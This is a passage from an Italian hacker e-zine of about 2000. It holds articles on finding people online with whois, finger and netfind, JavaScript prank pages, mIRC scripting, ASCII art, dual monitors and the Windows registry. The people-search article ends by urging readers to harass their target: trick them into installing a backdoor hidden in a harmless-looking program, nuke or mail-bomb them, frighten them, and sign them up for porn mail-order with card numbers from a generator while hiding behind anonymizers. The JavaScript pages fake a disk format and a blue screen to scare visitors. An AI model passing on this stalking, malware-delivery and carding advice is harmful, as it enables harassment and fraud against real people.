|questo tipo di servizio, in questo caso la strada sarà molto più semplice ed |
|efficace. |
|Se siete incerti del nome potrete inserire solo il cognome, in questo caso whois|
|vi elencherà tutti gli utenti con la possibilità di scegliere quello che volete.|
|La possibilità di utilizzare whois si estende anche al Web (oltre ai soliti |
|programmini), ci sono infatti numerosi server che offrono questo servizio via |
|http e che ne consentono quindi l'utilizzo con più semplicità (volete la pappa |
|pronta eh??), come per esempio l'ottimo database Europeo "RIPE"... |
| |
| http://www.ripe.net (nella sez whois) |
| |
|Se desiderate invece un'elenco dei server whois potete trovarlo a: |
| |
| ftp://sipb.mit.edu/pub/whois/whois-servers.list |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Finger |
| |
|Come per whois, finger è un'altro strumento molto utile per reperire delle info |
|sugli utenti, allo stesso modo si apre una sessione telnet, ma la porta in ques-|
|to caso è la 79 (è sempre utile leggersi l'help del server prima di utilizzarlo)|
| |
| telnet arpanet.it 79 |
| |
|La quantità di informazioni varia da server a server, così come il metodo di |
|ricerca, un difetto questo che rende il servizio non molto affidabile; potremmo |
|non trovare niente su un determinato server e trovare di tutto su un'altro. |
|I termini di ricerca in questo caso sono di vario tipo ma diciamo che normalmen-|
|te viene utilizzato l'indirizzo e-mail della vittima... |
| |
| : kevin@netware.net |
| |
|...dategli tempo di elaborare e (se saranno presenti) vi troverete davanti le |
|informazioni riguardanti l'utente, sarete anche avvisati (sempre che il server |
|lo permetta) se l'utente è collegato in rete!! |
|In alternativa se la chive di ricerca è incerta potrete utilizzare finger in |
|questo modo... |
| |
| : finger@netware.net |
| |
|...per avere un elenco degli utenti appartenenti al sito ""netware.net"" (anche |
|se non è molto consigliabile farlo su grossi siti, visto l'interminabile elenco |
|di utenti). |
|Come già dovreste sapere molti server disattivano questo tipo di servizio perchè|
|particolarmente debole agli attacchi (///* ^s, per es.), qundi sarà vostro impe-|
|gno trovarne uno adatto al prorio bisogno. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Netfind |
| |
|Ora passiamo ad un sistema ormai in disuso che è comunque utile conoscere e sape|
|re come funziona, perchè nel caso in cui avrete la possibilità di usufruirne, |
|diventerebbe uno strumento utilissimo.Il server netfind viene utilizzato nel ca-|
|so in cui siamo a conoscenza del nome o cognome della persona che cerchiamo, del|
|dominio oppure anche tramite alcune parole chiave che vi saranno spiegate nell |
|help del server. E' ovvio quindi che netfind è un servizio utile solo per una |
|ricerca più mirata, ovvero se siamo già a conoscenza di alcune info sul nostro |
|bersaglio. Per utilizzare questo servizio sarà sufficiente collegarsi con telnet|
|ad un server netfind, entrare con ""netfind"" quando chiede il login e dare |
|un'invio quando richiede la password (non tutti i server utilizzano però questo |
|protocollo). Vi troverete davanti la solita descrizione del server ;-) ed |
|un'elenco di altri servizi netfind disponibili in rete.Una volta dentro dovrete |
|inserire i dati per la vostra ricerca; |
| |
| supponiamo di dover cercare un tal Kevin su un dominio "netware.net"... |
| |
| netfind: kevin netware.net |
| |
|...bisognerà inserire prima il cognome (o il nome), poi il dominio o qualunque |
|parola chiave che possa identificare la persona...ecco tutto quello che dovrete |
|fare. |
|Netfind si preoccuperà di effettuare una ricerca nel dominio da voi indicato, |
|riferendovi tutte le informazioni disponibili e , come per finger, se l'utente |
|da voi selezionato è attualmente in rete. |
|Interessante no?! |
|(Ricordatevi che le chiavi di ricerca vanno divise da spazi e non da punteg- |
|giature). |
|Più la ricerca sarà precisa e più sarà veloce ed efficace il risultato, |
|se invece dovrete effettuare dei tentativi... allora armatevi di pazienza. Fra i|
|più grandi server netfind và considerato dis.internic.net, ma ce ne sono diversi|
|sparsi per molti paesi, eccone alcuni che ho potuto verificare: |
| |
| netfind.fnet.fr (Francia) |
| netfind.uni-essen.de (germania) |
| ds.internic.net (USA) |
| netfind.elte.hu (Ungheria) |
| netfind.icm.edu.pl (Polonia) |
| nic.uakom.sk (Slovenia) |
| bruno.cs.colorado.edu (USA) |
| netfind.vslib.cz (Rep.Ceca) |
| |
|Non ho ancora verificato se esiste un server netfind in Italia, nel caso lo |
|sappiate mandatemi pure una mail! |
|Come whois anche netfind ha la sua presenza sul Web ed esistono vari Url dove è |
|possibile usufruirne; non stò ad elencarli perchè potete facilmente trovarli |
|tramite un motore di ricerca! :-P |
| |
|Ricordatevi di utilizzare sempre il server più vicino al nostro obiettivo o |
|ancora meglio se è il suo provider a fornire tali servizi, per avere maggior |
|successo nella nostra ricerca ! |
| |
| Questo è tutto... (Uff!) |
| |
+--------------------------------------------------------------------------------+
|Raccomando solamente una cosa; non fate casini con i servizi che ho sopra citato|
|e altri ancora che ci offre la rete (in particolar modo mi riferisco ai Lamer!),|
|sono già molti i server che li chiudono perchè degli idioti sperimentano le loro|
|cazzate, non diamo modo di aiutarli in questo intento! |
+--------------------------------------------------------------------------------+
| |
| OK? |
|"ma una volta ottenuto ciò che cerchiamo, cosa ne facciamo??" ........ARGGGHH!!!|
| |
|...non lo starete dicendo sul serio!! |
|Che cavolo di hacker volete diventare?? |
|A parte quello che vi ho spiegato all'inizio. |
|Se state cercando così accanitamente un'utente tanto da perdere parte del vostro|
|tempo prezioso, significa che o vi stà tremendamente sulle palle o volete |
|ringraziarlo di cuore per un favore che vi ha fatto...?? ahahahah!... |
|hihihi!huhuu.... (ma fatemi il piacere!) |
| |
|Nel primo caso potrete agire in diversi modi; |
| |
+--------------------------------------------------------------------------------+
| |
| [#] SOFT |
| |
|- spedirgli tramite una fakemail una Backdoor implementata in un'innocente prog |
|con qualche scusa (o magari indicandogli dove scaricare tale progZ, ovvero su un|
|sito da voi creato temporaneamente) ...insomma fategli installare stà BD in |
|qualche modo! ...poi fate voi. |
| |
|- utilizzate i vari nuker che ci sono in rete (come aggressor) per attaccarlo |
|ogni volta che lo beccate online, oppure, da lamers, utilizzate un mail-bombing.|
| |
|- spaventatelo un pò con qualche msg o con alcuni prog che fanno al caso vostro.|
| |
+--------------------------------------------------------------------------------+
| |
| [#] HARD (vi stà prorio sulle palle!!) |
| |
|Avete abbastanza info sull'utente? Basta poco per sapere residenza,via, n°di tel|
|ecc.. ( si può fare tutto online). Avrete sicuramente fatto del carding, nel |
|vostro piccolo. Basta un generatore di CC e riuscire a beccare un numero valido |
|e... |
|sapete quei servizi online che spediscono per posta materiale diciamo... cultura|
|le (cicciolina ai mondiali, le calde voglie di helen, analcanal,ecc..)?! ;-))|
|ecco.. fate voi. Ricordatevi però; se volete andare sul sicuro, utilizzate alme-|
|no un'anonymizer per effettuare ""l'abbonamento"", o meglio ancora, un bounce |
|(rimbalzo) tramite proxy. |
|Altre cose si possono fare, ma non voglio entrare nel particolare... |
|Basta comunque un pò di inventiva. |
| |
+--------------------------------------------------------------------------------+
| |
|Se ritenete che tutto questo vi è servito a qualcosa... meglio per voi, altri- |
|menti... cazzi vostri! :-] |
| |
|...ma se pensate che non vi sia nessuna utilità nell'imparare queste cose, bè |
|allora non avete capito un caz..! |
| |
|Ricordatevi che un buon hacker ha la capacità di trovare chiunque nella rete, |
|dovunque esso sia, qualsiasi cosa faccia... |
|per questo non vi augurerei mai di incontrarlo!! :-|=| |
| |
|Per i più saccenti: se avete delle correzioni da fare o info da aggiungere, |
|sono ben gradite le vostre mail! |
| |
+--------------------------------------------------------------------------------+
| |
| #Override# the_over@mindless.com |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


____ _
| _ \ _ __ ___ __ _ _ __ __ _ _ __ ___ _ __ ___ __ _ ___(_) ___ _ __ ___
| |_) | '__/ _ \ / _` | '__/ _` | '_ ` _ \| '_ ` _ \ / _` |_ / |/ _ \| '_ \ / _ \
| __/| | | (_) | (_| | | | (_| | | | | | | | | | | | (_| |/ /| | (_) | | | | __/
|_| |_| \___/ \__, |_| \__,_|_| |_| |_|_| |_| |_|\__,_/___|_|\___/|_| |_|\___|
|___/


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [PROGRAMMAZIONE] -=[03]=- |
| Lezioni di JavaScript n° 2 -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| _ ____ _ _ |
| | | __ ___ ____ _/ ___| ___ _ __(_)_ __ | |_ |
| _ | |/ _` \ \ / / _` \___ \ / __| '__| | '_ \| __| |
| | |_| | (_| |\ V / (_| |___) | (__| | | | |_) | |_ |
| \___/ \__,_| \_/ \__,_|____/ \___|_| |_| .__/ \__| |
| |_| |
| A cura di: -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+
| |
|Ciao a tutti, in questa seconda "Lezione" vi mostrerò un paio di script da ag- |
|giungere alle vostre pagine per abbellirle, arricchirle e rompere un po' le bal-|
|le ai visitatori :-P |
| |
+--------------------------------------------------------------------------------+
| |
|Cominciamo, basta che copiate e incollate nela pagia web tra linea e linea :-D |
| |
+----------------------------FORMATTARE-L'HARD-DISK------------------------------+
| |
| <script> |
| var t=screen.width+100 |
| var q=screen.height+200 |
| self.moveTo(0,0) |
| self.resizeTo(0,0) |
| function m(){ |
| self.moveTo(-30,-150) |
| self.resizeTo(t,q) |
| document.all.h.style.pixelTop=60 |
| document.all.h.style.pixelLeft=20 |
| document.all.h.style.fontSize="16pt" |
| } |
| function n(){ |
| a++ |
| if(a<=100){ |
| h.innerHTML = "<FONT face='Fixedsys' color=#999999>Microsoft(R) Windows 9x |
| <BR>   (C)Copyright Microsoft Corp 1981-1998.<BR><BR> |
| <BR>C:\>format C: /AUTOTEST<BR><BR>ATTENZIONE: TUTTI I DATI SUL DISCO FISSO |
| C:<BR>ANDRANNO PERSI<BR><BR>Continuare con la formattazione (S/N)? S<BR><BR>|
| Controllo del formato del disco.<BR>Verifica del formato in corso.<BR><BR> |
|    "+a+"% PERCENTO COMPLETATO.</FONT>"; |
| } |
| else |
| h.innerHTML = "<FONT face='Fixedsys' color=#999999>Microsoft(R) Windows 9x |
| <BR>   (C)Copyright Microsoft Corp 1981-1998.<BR><BR><BR>C:\> |
| format C: /AUTOTEST<BR><BR>ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C:<BR> |
| ANDRANNO PERSI<BR><BR>Continuare con la formattazione (S/N)? S<BR><BR>Contro|
| llo del formato del disco.<BR>Verifica del formato in Corso.<BR> |
| <BR>   FORMATTAZIONE COMPLETATA.<BR><BR>Etichetta di volume (11 |
| caratteri, INVIO per non darne)?<BR><BR>Numero di serie del volume: |
| 91B-07F7<BR><BR>C:\></FONT><FONT font-size='10pt' Face='Arial' |
| color=#AA0000>Javascript Formatter By Master - Hacker .. Have a nice day! |
| ;-)</FONT>"; |
| setTimeout("n()",100) |
| } |
| </script> |
| <STYLE TYPE="text/css"> |
| #m1{ |
| position: absolute;font-name:Arial Bold;color:white}; |
| #h{font-color: white;font-name: Trouble MS;} |
| </STYLE> |
| <BODY BGCOLOR=#000000 onLoad="a=0;m();n()"> |
| <DIV ID="m1"> </DIV> |
| <FONT><DIV ID="h" STYLE="position:relative; left: 100px; top: 200px; width: |
| 1000px; height: 300px; color: WHITE;"></DIV></FONT> |
| </BODY> |
| |
+----------------------------------SCHERMO-BLU-----------------------------------+
| |
| <script> |
| var t=screen.width+100 |
| var q=screen.height+200 |
| function m(){ |
| self.moveTo(-30,-150) |
| self.resizeTo(t,q) |
| document.all.m1.style.pixelTop=(q-200)/2 |
| document.all.m1.style.pixelLeft=(t-100)/2-240 |
| document.all.m1.style.fontSize="14pt" |
| document.all.m1.style.color="white" |
| } |
| </script> |
| <STYLE TYPE="text/css"> |
| #m1{ |
| position: absolute; |
| font-name:Arial Bold; |
| color:#000099}; |
| </STYLE> |
| <BODY BGCOLOR=#000099 onLoad="m()"> |
| <DIV ID="m1">ERRORE nel modulo VXD 4802:2320 RegX : 281 - 000 - 010 - 027 |
| </DIV> |
| </BODY> |
| |
+-----------------------------SCIVOLA-VIA-IL-BROWSER-----------------------------+
| |
| <HTML> |
| <title>Movarello</title> |
| <SCRIPT LANGUAGE=JAVASCRIPT> |
| function seconda() |
| { |
| self.moveBy(0,a) |
| a=a+0.1 |
| pippo.value=a |
| setTimeout("seconda()",1) |
| } |
| </SCRIPT> |
| <BODY BGCOLOR=#0000AA onload="a=0;setTimeout('seconda()',10000)"> |
| <TEXTAREA name="pippo" ROWS=1 COLS=25 WRAP="virtual"> |
| aspetta 10 secondi!</TEXTAREA> |
| </BODY> |
| </HTML> |
| |
+--------------------------------------------------------------------------------+
| |
|Beh, per stavolta è tutto e ricordatevi di provare, provare e provare, è questo |
|il miglior metodo per imparare... |
|Alla prossima Lezione -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [PROGRAMMAZIONE] -=[04]=- |
| mIRC Scripting TUTORIAL I SpyMaster |
+--------------------------------------------------------------------------------+
| |
|Bene ragazzi, sotto incitazione di N0bodY88, sarò io che da adesso in poi curerò|
|una sezione che spero diventerà una delle più seguite in assoluto: come farvi i |
|vostri script per mIRC! |
|Molti appena mi sentono parlare in "codice", ossia quando parlo di $addtok, |
|/dialog o altre skeefezze, vengono in query e puntualmente mi chiedono: "Ohhhhhh|
|ma sai scriptare?" "Embé?" "Ma sarai bravissimoooooo!"...muaH, tutte stronzate. |
|Salvo rarissime cose fare uno script decente per chattare è sempre facilissimo. |
|Infatti il mIRC scripting non è altro che una versione ridotta ai minimi termini|
|di un linguaggio di programmazione. Questo linguaggio deriva un po' da tutto: |
|dal C, dal Basic, dal Pascal ecc... |
| |
|Prima di iniziare con i fondamenti però dovete avere ben chiaro in mente il con-|
|cetto di script. Uno script è un SOTTOPROGRAMMA del mIRC e niente di più. |
|Non può andare di molto oltre i limiti del mIRC, tranne che con parecchie ore di|
|programmazione dedicate a creare funzioni fuori dal comune. Una buona soluzione,|
|ma solo se siete bravi con un linguaggio di programmazione visuale (magari non |
|VB ok? meglio Visual C++ o Delphi), è quella di crearvi il VOSTRO client IRC, |
|con le funzioni che volete, tutte incluse senza i limiti dello scripting. |
|A proposito di limiti dello scripting, non credete di poter fare chissà quali |
|prodigi, infatti i limiti ci sono eccome! Potrete limitarvi ad un solo menù ag- |
|giunto sulla menubar, per creare molte cose belle è necessaria una quantità spro|
|porzionata di codice e spesso ci si riduce ad includere nel proprio script molti|
|file per renderlo più appetibile. Il problema è che questi file rallentano l'ese|
|cuzione del mIRC, visto che il programma se li carica singolarmente all'avvio |
|(caso di questa "pesantezza" generale è il Bisnuke 3.0 Gold, veramente immane: |
|immagini di sfondo, suoni, oltre 50 file di script da caricare, tutto per una mi|
|sera interfaccia grafica, pergiunta neanche dell'autore, visto che è un addon). |
|Perciò ripeto: niente miracoli! Passiamo adesso ad esaminare i fondamenti dello |
|scripting. |
| |
|Un file di script può essere di due tipi diversi: un file .INI o un file di una |
|qualunque altra estensione, purch‚ fatto in testo ASCII. Io consiglio sempre il |
|secondo metodo, meglio se l'estensione del file è .MRC. Comunque la scelta sta a|
|voi. Ricordate però che un file INI è poco leggibile dall'esterno (ossia usando |
|programmi come notepad) perch‚ il mIRC li salva in un formato particolare, che |
|premette una nX= ad ogni riga (la X sta per un numero, che parte da 0 e cresce |
|man mano). Allora, ogni script che si rispetti si compone di tre parti fondamen-|
|tali: gli ALIAS, i REMOTE e i POPUPS. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - ALIAS |
| |
|un alias è un comando che produce una serie di operazioni in sequenza, per esem-|
|pio possiamo creare un alias che dica sul canale in cui siamo "Ciao" ma possiamo|
|anche creare un alias che ci faccia joinare sui nostri canali preferiti, ci au- |
|tentichi sui bot e saluti tutti. Un portento! |
|Gli alias sono nella forma: |
| |
| <nome alias> { |
| comando1 |
| ... |
| comandoN |
| } |
| |
|Esempio: |
| |
| ciao { |
| join #newbies |
| me saluta tutti |
| topic ecco il mio alias in funzione |
| } |
| |
|Questo alias entra nel canale #newbies, saluterà tutti con un /me (azione), e |
|cambia il topic in "ecco il mio alias in funzione". |
| |
|Come spero vi siate accorti i comandi da usare in un alias sono gli stessi che |
|usate normalmente nel mIRC, come /me, /topic, ecc. Le uniche eccezioni sono che |
|potete scrivere in un alias i comandi senza "/", che per dire qualcosa in un ca-|
|nale dovete usare "say <testo>" e che vi è permesso usare i cosiddetti "Identifi|
|ers" che però vi spiegherò in un'altra lezione. |
|Gli alias sono chiamati dalla riga di comando come i normali comandi del mIRC, |
|ossia premettendo un "/" (segno che però può essere cambiato dalle opzioni, even|
|tualmente mettete quello che avete scelto). Nel nostro esempio il comando verrà |
|chiamato digitando "/ciao" |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - REMOTE |
| |
|I remote sono le cose più importanti. Infatti sono delle righe di codice che han|
|no la capacità di rispondere a dei determinati eventi. Per esempio, possiamo fa-|
|re un remoto che al testo "Pizza Script" kickbanna per 30 secondi quello che ha |
|pronunciato il nome dello script più lamer in assoluto. |
|Si dice evento generante l'evento che mette "in moto" il vostro remoto. |
|Questi remoti sono in questa forma: |
| |
| on <livello>:<evento>:<testo (non sempre presente)>:<luogo>: { |
| comando1 |
| ... |
| comandoN |
| } |
| |
|Allora, il livello è un particolare numero associato ad alcuni tipi di utente. |
|Non so se avete presente degli script dove c'è la friend e la enemy list. |
|In pratica l'essere friend o enemy dipende dal numero che vi è stato assegnato, |
|ossia il vostro livello. Se per esempio la enemy list ha come livello di default|
|3, potrebbe esserci un evento on 3:TEXT che appena un enemy parla, esegue le a- |
|zioni che avete specificato. Il livello base di un utente è 1, ma potete cambiar|
|lo a vostro piacimento dall'editor di script incluso nel mIRC. |
|L'evento serve a dire quando deve scattare il nostro remoto. TEXT indica alla |
|ricezione di testo, ACTION alla ricezione di un azione, KICK appena viene fatto |
|un kick e così via. Chissà che non appena saremo un pochino più esperti non vi |
|faccia pubblicare una bella listona con il funzionamento di tutti gli eventi! |
|Il testo e il luogo sono due parametri non sempre presenti. Infatti il primo è |
|presente negli eventi come TEXT, ACTION ecc. e indica se deve essere presente |
|una certa stringa nel testo che avete ricevuto. Se non avete un filtro preciso, |
|basta mettere * che vuol dire tutto. Il luogo è invece indicativo della finestra|
|in cui ricevete qualcosa. |
| |
|I simbolini principali sono: |
| |
| * = tutte le finestre |
| ? = finestra di query |
| # = per tutte le finestre di canale |
| #<nome del canale> = per quel canale in particolare |
| |
|Subito dopo il luogo, vengono i comandi. Questi sono dati come in un alias, os- |
|sia senza "/" ecc. Ricordate che non è sbagliato mettere "/", ma in un grosso |
|script tanti / potrebbero contribuire a fare + grande il codice, e inoltre (alme|
|no secondo me) creano molta confusione. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - POPUPS |
| |
|I popups sono la parte meno importante di uno script, ma dei popup ben fatti |
|contribuiscono a creare una senzazione di "bellezza" generale. Infatti i popu

  
ps |
|sono appunto i menù popup, quelli attivabili col tasto destro. Ma procediamo per|
|ordine. I popup sono di 6 tipi: MENUBAR: La sezione Menubar dei popup crea un |
|menù sulla Menubar, tra il menù DCC e il menù Window STATUS: La sezione status |
|crea un menù richiamabile premendo col tasto destro sulla finestra di status |
|CHANNEL: La sezione channel crea un menù richiamabile col tasto destro sulla fi-|
|nestra di un canale QUERY/CHAT: La sezione Query/Chat crea il menù per le fines-|
|tre di query e per le DCC chat NICKNAME LIST: La sezione nickname crea il solito|
|menù che appare cliccando col tasto destro su un nickname sulla lista dei nick |
|CUSTOM WINDOWS POPUP: Di questa sezione non molti sanno l'esistenza, ma solo per|
|ché‚ non appare nel mIRC Editor. Ma esiste la possibilitù di creare menù popup |
|per le Custom Windows, che sono finestre creabili con appositi comandi. |
|Una piccola parentesi: a partire dal mIRC 5.5 sono state introdotte delle legge-|
|re innovazioni. Infatti adesso se nella finestra di un canale, dove ricevete il |
|testo, cliccate col tasto destro mentre la freccina è sopra un nick apparirà il |
|menù della nicklist. |
| |
|Forma generale dei popup: |
| |
| Nome del Menù (questo parametro serve solo nella sezione menubar e indica il |
| nome del vostro menù sulla menubar) |
| Elemento del Menù: comando da eseguire quando cliccate |
| |
|Esiste la possibilità di creare dei separatori, ossia le linee di separazione pe|
|gli elementi del menù, inserendo al posto dell'elemento del menù un - Inoltre |
|possiamo creare dei sottomenù usando questo metodo: |
| |
| Menù Settaggi |
| .Autojoin |
| ..Attivo:comandi per attivare |
| ..Disattivo:comandi per disattivare |
| ..- |
| ..Lista dei canali:comando per la lista |
| .Controlli |
| ..Op:comando dell'op |
| ..Deop:comando del deop |
| ..Kick:comando del kick |
| ecc... |
| |
|Capito?!?! |
| |
|E per adesso abbiamo finito, come prima lezione abbiamo spiegato per benino gli |
|elementi basilari. Nel frattempo che aspettate la prossima (non ringrazierò mai |
|abbastanza N0bodY88 per avermi permesso di fare i miei articoli) vi dico un paio|
|di cosette. Inanzitutto se create uno script NON mandatemelo inoltre scaricatevi|
|un paio di script, magari da NonSoloKick (www.nonsolokick.com, siccome i downlo-|
|ad sono a password e username, li ho fatti mettere solo per voi). |
|Eccovi un elenzo di script che potrete fare vostri: |
| |
|ZeroTolerance 8.20 (http://ztolerance.cjb.net) <-- CONSIGLIATO! |
|7thSphere 3.0 (http://www.nonsolokick.com) <-- CONSIGLIATO! |
|VeNo[M] Script 2.1 (http://www.nonsolokick.com) |
|TRiBE IRC 9b43 (http://www.tribe.roxx.ircnet.mcmail.com/) <-- CONSIGLIATO! |
|ShowDowN 9.5 PRO (http://koti.icenet.fi/~julsei/) |
|Pizza Script 3.0 (http://www.chez.com/pizzairc) <-- SOLO PER LAMER0NI! |
|Dynamirc 7.0 (http://www.nonsolokick.com) |
|Pulsar 2.0 (http://www.nonsolokick.com) <-- SOLO PER ME E N0BODY ;D |
|Bisnuke 4.0 (http://www.nonsolokick.com) |
|CryogenIrc 4.0 (http://www.nonsolokick.com) |
| |
+--------------------------------------------------------------------------------+
| |
| SpYmAsTeR spymaster99@usa.net |
| |
+--------------------------------------------------------------------------------+

____ __ _
/ ___|_ __ __ _ / _(_) ___ __ _
| | _| '__/ _` | |_| |/ __/ _` |
| |_| | | | (_| | _| | (_| (_| |
\____|_| \__,_|_| |_|\___\__,_|


+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [GRAFICA] -=[05]=- |
|Introduzione all'ASCII-Art -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|ASCII-Art è l'arte di disegnare con i soli caratteri del codice ASCII. |
|Il codice ASCII (American Standard Code for Information Interchange) è un set di|
|128 caratteri, numerati da 0 a 127, composto da lettere dell'alfabeto, numeri, |
|simboli e codici particolari. |
|E' considerato uno standard da tutti i computer. |
| |
|I caratteri usati per l'ASCII-Art sono 95, vanno dal 32 al 126: |
| |
+--------------------------------------------------------------------------------+
| |
| 032 [space] 048 0 064 @ 080 P 096 ` 112 p |
| 033 ! 049 1 065 A 081 Q 097 a 113 q |
| 034 " 050 2 066 B 082 R 098 b 114 r |
| 035 # 051 3 067 C 083 S 099 c 115 s |
| 036 $ 052 4 068 D 084 T 100 d 116 t |
| 037 % 053 5 069 E 085 U 101 e 117 u |
| 038 & 054 6 070 F 086 V 102 f 118 v |
| 039 ' 055 7 071 G 087 W 103 g 119 w |
| 040 ( 056 8 072 H 088 X 104 h 120 x |
| 041 ) 057 9 073 I 089 Y 105 i 121 y |
| 042 * 058 : 074 J 090 Z 106 j 122 z |
| 043 + 059 ; 075 K 091 [ 107 k 123 { |
| 044 , 060 < 076 L 092 \ 108 l 124 | |
| 045 - 061 = 077 M 093 ] 109 m 125 } |
| 046 . 062 > 078 N 094 ^ 110 n 126 ~ |
| 047 / 063 ? 079 O 095 _ 111 o |
| |
+--------------------------------------------------------------------------------+
| |
|L'ASCII-Art viene anche usata nei messaggi e-mail in modo da poter inviare dise-|
|gni insieme al testo senza usare grafica o font di caratteri particolari. |
| |
+--------------------------------------------------------------------------------+
| |
|Ecco un'esempio di ASCII-Art: |
| |
| ''~`` |
| ( o o ) |
| +-------------------.oooO--(_)--Oooo.------------------+ |
| | | |
| | VI ASPETTO CON IL PROSSIMO NUMERO DELLA GICK-ZINE | |
| | | |
| | .oooO | |
| | ( ) Oooo. | |
| +---------------------\ (----( )-------------------+ |
| \_ ) ) / |
| ( _/ |
| |
+--------------------------------------------------------------------------------+


__ __ _
\ \ / /_ _ _ __(_)
\ \ / / _` | '__| |
\ V / (_| | | | |
\_/ \__,_|_| |_|



+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [VARI] -=[06]=- |
|Due Schede Video sul PC [Bartex] |
+--------------------------------------------------------------------------------+
| |
| [#] - 0CC0RRENTE |
| |
|Una scheda video PCI e, naturalmente, un'altro video da montare alla seconda |
|scheda video |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - SiTUAZi0NE |
| |
|Avete il vostro bel Athlon (AMD rulez) 800 Mhz, 128 mb di RAM, CD-Rom 40x, maste|
|rizzatore, Sound Blaster, e una bella scheda video AGP 2x accellerata. |
|Vi sentite soddisfatti, ci giocate a superbyke, vi vedete i filmini porno ecc...|
| |
|Si arriva ad un certo puntosentite l'esigenza di fare grafica, di chattate e con|
|temporaneamente navigare senza saltare da una finestra all' alra, o vedere un |
|film mentre si lavora nell'altro video. Qui entra in gioco questo articolo!!! |
| |
|Allora prendete la scheda video PCI dal vostro bel pentium 133 mhz abbandonato |
|in qualche scaffale (scaricate l'energia statica toccando un'oggetto di metallo,|
|potreste danneggiare la scheda), aprite il case del vostro bel nuovo pc e monta-|
|te la scheda PCI in uno slot libero, accendete il pc facendo avviare windows e |
|la scheda vellà riconosciuta. Dopo l'intallazione dei driver riavviate il pc, en|
|trate nel bios e nella configurazione delle periferiche (PCI Devices o una cosa |
|del genere) fate in modo che al boot il pc cerchi prima la scheda PCI. |
|A questo punto salvate le impostazioni del bios, avviate windows e, se tutto è |
|andato bene, dovreste vedere una scritta sul monitor collegato alla scheda AGP |
|che dice che la periferica è stata montata correttamente. |
| |
|Ora avrete la scheda video pci con relativo monitor che sono i principali, men- |
|tre la scheda AGP è la secondaria. |
| |
|Ora nella configurazione dello schermo appariranno due monitor disegnati, dei |
|quali possiamo scegliere la risoluzione (anche diversa) la posizione e se tenere|
|attivato o meno quello secondario. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - N0TE |
| |
|Se la vostra scheda PCI è una cacca, e vi piace giocare molto, quando vorrete |
|farlo, dovrete avere l'accortezza di avviare il pc con la scheda AGP come prima-|
|ria (vedi impostazioni del bios). Non sono certo di quello che dico ma penzo che|
|windows faccia i capricci per attivare i due monitor con la scheda AGP come pri-|
|maria, dicendo che la scheda non ha i driver adatti per funzionare con il dual- |
|head. |
| |
|Un'altra cosa da non trascurare è che il PC rallenterà leggermente, siccome si |
|troverà a gestire ben due schede video e due monitor. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - THE END |
| |
|Un saluto particolare a tutti gli smanettoni hardware che impazziscono come me |
|per fare queste stronzate! :-) |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [VARI] -=[07]=- |
|Il Registro di Sistema Ankit Fadia |
+--------------------------------------------------------------------------------+
| |
| The Registry Torn Apart --- Ankit Fadia<ankit@bol.net.in> |
| |
+--------------------------------------------------------------------------------+
| |
| Versione Originale : Ankit Fadia <ankit@bol.net.in> |
| Versione Tradotta : SpIDeR2K <spider2k@freemail.it> |
| Data Traduzione : 28 (sera) - 29 (mattina) /06/2000 |
| Consumo per la traduzione : Un bel Magnum alle mandorle... gnam gnam !:-) |
| Musica di sottofondo : BonJovy ( It's my life ) |
| BomFunk Mc's ( Freestyle ) |
| Metallica ( I disappear ) |
| |
+--------------------------------------------------------------------------------+
| |
| http://blacksun.box.sk |
| |
+--------------------------------------------------------------------------------+
| |
|Il registro è un database gerarchico che contiene virtualmente tutte le |
|informazioni sulla configurazione del computer. |
|Questo setta dove debbano essere contenuti files come il config.sys,autoexec.bat|
|win.ini, system.ini, control.ini ed altri. |
|Da questo ti puoi rendere conto di quanto sia importante il registro. La strut- |
|tura è simile a quella dei files ini, ma va oltre il concetto di questi perché |
|offre una struttura gerachicha, simile a quella delle cartelle e dei files nell'|
|Hard Disk. Infatti la procedura per prendere degli elementi dal registro è simi-|
|le a quella per le cartelle e i files. |
| |
|In questa sezione, andrò ad esaminare soltanto il registro di Windows 95/98 |
|sebbene quello di Nt sia simile. |
| |
+--------------------------------------------------------------------------------+
| |
| L' Editor di Registro |
| |
|L' editor di Registro è un utility chiamato Regedit.exe che ti permette di |
|guardare, cercare, modificare e salvare il database del registro di Windows. |
| |
|Questo non convalida i valori che stai scrivendo : permette qualsiasi operazione|
|Cosi cerca di prestare molta attenzione, perchè se sbagli non verra visualizzato|
|nessun messaggio di errore. |
| |
|Per lanciare l' Editor di Registro devi semplicemente lanciare RegEdit.exe |
|(sotto Windows Nt Regedy32.exe con i privilegi di amministratore ). |
| |
|Esso si divide in due parti : nella parte di sinistra vi è una visualizzazione |
|gerarchica del database ( simile all ' esplora risorse di Windows ) nella parte |
|a destra invece ci sono i vari valori. |
| |
+--------------------------------------------------------------------------------+
| |
|Il Registro è organizzato in Keys (Chiavi) e SubKeys (Sottochiavi). |
|Ogni Chiave contiene dei valori , ognuna ha un nome , un tipo e una classe |
|specifica. Il nome è la stringa che identifica il valore della chiave. |
|La lunghezza e il formato di questo valore dipende dal tipo di dati. |
|Come puoi vedere con il regedit, il registro si divide in 5 parti principali: |
|non c'è nessun modo di aggiungere o eliminare delle chiavi a questo livello. |
